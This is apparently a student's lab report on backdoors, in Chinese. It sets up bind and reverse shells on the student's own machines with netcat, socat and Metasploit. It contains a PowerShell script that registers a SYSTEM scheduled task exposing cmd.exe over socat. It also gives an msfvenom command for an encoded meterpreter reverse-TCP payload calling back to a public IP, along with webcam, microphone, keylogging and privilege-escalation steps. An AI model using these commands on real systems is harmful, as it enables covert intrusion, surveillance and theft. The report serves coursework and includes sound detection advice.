20212217刘恒谦-Exp2 后门原理与实践

实践过程记录

使用netcat获取主机操作Shell,cron启动

​ ncat即Netcat,可以收发传输层数据,由攻击者使用。cron是Linux中用于按计划执行脚本的工具,在网络对抗中让受害者连接不稳定时,重连攻击者,由受害者启动。
​ 既然如此,受害者需要是Linux,否则没有cron命令,我购买了一台阿里云Ubuntu服务器充当受害者。使用crontab -e编辑如下计划:


​ 这样,每天凌晨2点,受害者就会开放5555端口,等待攻击。
​ 之后,内网中的kali正向连接公网服务器,获取shell权限。

使用socat获取主机操作Shell, 任务计划启动

​ socat可建立双向通道,支持众多协议和链接方式,可以看成ncat++,在linux中一般都支持该命令。
​ 任务计划是windows中的任务形式,windows作为受害者,需要用socat接收kali传来的命令。
​ 既然要进行网络通信,且为正向连接,就需要知道受害者的IP:


​ 最下一行代表WLAN局域网的IP,为192.168.56.1。

​ 之后,在windows中以管理员身份打开powershell ISE,编写脚本创建任务。

# 定义任务的触发器(例如,每天凌晨 2 点执行)
$trigger = New-ScheduledTaskTrigger -Daily -At 2am

# 定义任务的操作(例如,运行 PowerShell 脚本)
$action = New-ScheduledTaskAction -Execute "D:\socat\socat.exe" -Argument "tcp-listen:2217 exec:cmd.exe,pty,stderr"

# 定义任务的权限(可选,默认为当前用户)
$principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount

# 定义任务的设置(可选)
$settings = New-ScheduledTaskSettingsSet

# 注册新任务
$taskName = "lhq20212217exp2"
$taskDescription = "网络对抗实验二"
Register-ScheduledTask `
    -TaskName $taskName `
    -Action $action `
    -Trigger $trigger `
    -Principal $principal `
    -Description $taskDescription `
    -Settings $settings

​ 为了加快实验进度,我使用管理员模式的powershell即刻执行了任务。


​ 之后,在kali-wsl中使用socat - tcp:192.168.56.1:2217即可获取windows的cmd权限。

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

​ 首先生成木马文件,通过socat传输到windows主机上:


​ windows主机接收文件到火绒信任区,避免误杀:

​ 之后,在windows中运行该木马程序,返回Ubuntu,通过Ubuntu快速安装MSF - tomyyyyy - 博客园 (cnblogs.com)教程安装msfconsole,并连接木马

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

​ 本步骤需要在上一步基础上进行,中途不可退出。由于公网服务器没有图形界面,我使用了在线网页的形式下载音视频等窃取到的数据。

音频(record_mic)

​ 输入record_mic可截取1秒的音频。

截屏(screenshot)

​ 输入screenshot可截屏,图片以jpeg的形式保存起来
​ 看起来并不是很清晰

拍照(webcam_snap)

​ 输入webcam_snap拍照,相比于截屏,照片就清晰多了:

录制键盘(keyscan_start,keyscan_dump)

​ 使用keyscan_start开始录制,接着用keyscan_dump结束,我在这期间只按了一次Ctrl C。

提权(getuid,getsystem)

​ 这一步要求使用管理员身份运行木马,之后在攻击机中先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。
​ 不过在本次实验中,提权后仍然无法查看敏感信息。

使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

​ 在MSF中通过-x file_path参数可按指定文件模板生成木马,这次的木马与上次不同,需要在Linux上运行。


​ kali-WSL就是一台Linux,可以充当受害者,在kali-WSL中,通过wget下载公网上的lhq20212217_pwn_backdoor,并赋权执行:

​ 之后,到Ubuntu攻击机中,使用MSF连接木马:

成功入侵Kali 😃

问题及解决

木马无法运行

​ 在最新版的windows11上,普通的木马确实无法运行,需要进行加密,添加参数 -e x86/shikata_ga_nai,e代表encrypt
​ 结合起来就是

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.116.178.215 LPORT=2217 -e x86/shikata_ga_nai -f exe > encoded_payload.exe

socat连接不上

​ 一开始的时候,我在kali-WSL中访问windows怎么也连接不了,
经过2个小时的排查,我终于发现了奇怪的地方,我的kali和windows的IP居然是一致的,因此每次连接时都会显示:


​ 显示连接拒绝。

​ 那这是怎么回事呢?原来是因为我之前为了在kali-WSL中使用代理,使用用户目录下的.wslconfig文件将kali-WSL的网络配置为镜像模式,导致kali-WSL和windows共用一个IP。


​ 解决起来也很简单,将这个文件清空再重启kalil-WSL就OK了。

powershell木马无效

​ 另一个问题是我一开始是将远程命令用powershell而非cmd执行的:


​ 但是当这个计划启动后我发现,powershell下会没有输出,必须用cmd才能顺利进行。

实验总结与体会

​ 其实我之前就做过用msf攻击windows,所以本次实验上手起来感觉还行,难度比上一次简单。
​ 但是做起来比上一次实验更加费时,总的原因在于我使用了公网服务器完成实验,而且用的kali是WSL而非普通带桌面的kali,导致所有需要图形界面的环节我都用Web服务代替了。再加上我之前对kali的网络做过镜像设置,导致这次连接木马时遇到了不少问题。不过其实问题都不大,公网Ubuntu也好,Kali子系统也好,和一般的做法其实都大同小异,最终还是花了8个小时完成了。

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
    后门是指在系统或网络中故意留下的一个入口,允许未经授权的用户或攻击者访问系统。
    一种后门进入系统的可能方式是某个流行的网络服务软件如软路由LuCI可能存在未公开的0day漏洞,攻击者通过发送特制的请求或数据包来获取对系统的控制权,然后在系统中植入后门程序。

  2. 例举你知道的后门如何启动起来(win及linux)的方式?
    Windows

  • 后门可以修改Windows注册表的启动项,例如HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run,以确保在系统启动时自动执行。
  • 将后门程序的快捷方式放置在Start Menu\Startup文件夹中,这样每次用户登录时后门都会自动运行。
  • 通过放置恶意DLL文件到系统路径中,并利用合法程序的加载机制来启动后门。

Linux

  • 后门可以通过在/etc/cron.d/etc/crontab/etc/cron.hourly/etc/cron.daily/etc/cron.weekly/etc/cron.monthly等目录中的Cron作业文件来设置定时任务。
  • 修改/etc/rc.local或其他运行级别脚本,以在系统启动时执行后门程序。
  • 后门可能会修改SSH配置文件(/etc/ssh/sshd_config),设置SSH密钥认证,以便远程无密码登录。
  1. Meterpreter有哪些给你映像深刻的功能?
    Metepreter确实是一个强而有力的黑客工具,它通过TCP反向连接构造的木马在各种博客论坛上都可见,我之前就用它尝试过攻击windows,它让不懂网络协议和操作系统底层原理的普通人也能当一回黑客。
    不过Metepreter在CTF竞赛中基本没用,对于正式的比赛还是需要我仔细学习各种框架和绕过技巧,相比之下,pwntool和BurpSuite才是我目前看到的最好的黑客工具。

  2. 如何发现自己有系统有没有被安装后门?
    发现系统是否被安装了后门需要综合使用多种工具和技术,有多个步骤:

  • 系统日志通常记录了系统事件和错误信息。检查 /var/log(Linux)或 Windows 事件查看器中的日志,寻找异常的登录尝试、未授权的访问或其他可疑活动。
  • 检查系统的启动项和服务,确保没有未知或可疑的程序在系统启动时自动运行。在 Linux 中,您可以使用 systemctl 命令查看服务状态;在 Windows 中,可以使用 services.mscmsconfig 命令。
  • 使用安全扫描工具,如 antivirus 软件、入侵检测系统(IDS)或专门的后门检测工具,来扫描系统。这些工具可以帮助您发现已知的后门和恶意软件。
  • 使用 netstatlsof(Linux)或 Resource Monitor(Windows)等工具检查所有网络连接。查找到不寻常的 IP 地址或端口的连接,这可能是后门活动的指示。
  • 检查系统文件和配置,特别是 /etc/passwd(Linux)和 C:\Windows\System32\config(Windows),寻找异常的用户账户或配置更改。
  • 检查系统中是否有未知的用户账户,特别是那些具有管理员权限的账户。在 Linux 中,使用 cat /etc/passwd 命令;在 Windows 中,使用 net user 命令。
  • 检查正在运行的系统进程,查找未知或可疑的进程。在 Linux 中,可以使用 pstophtop 命令;在 Windows 中,可以使用 Task Manager
  • 使用文件完整性检查工具,如 AIDETripwire,来检测系统文件的更改。这些工具可以记录文件的正常状态,并在文件被更改时发出警报。

热门相关:我的末世基地车   北宋大丈夫   恐怖复苏   龙皇武神   天龙邪尊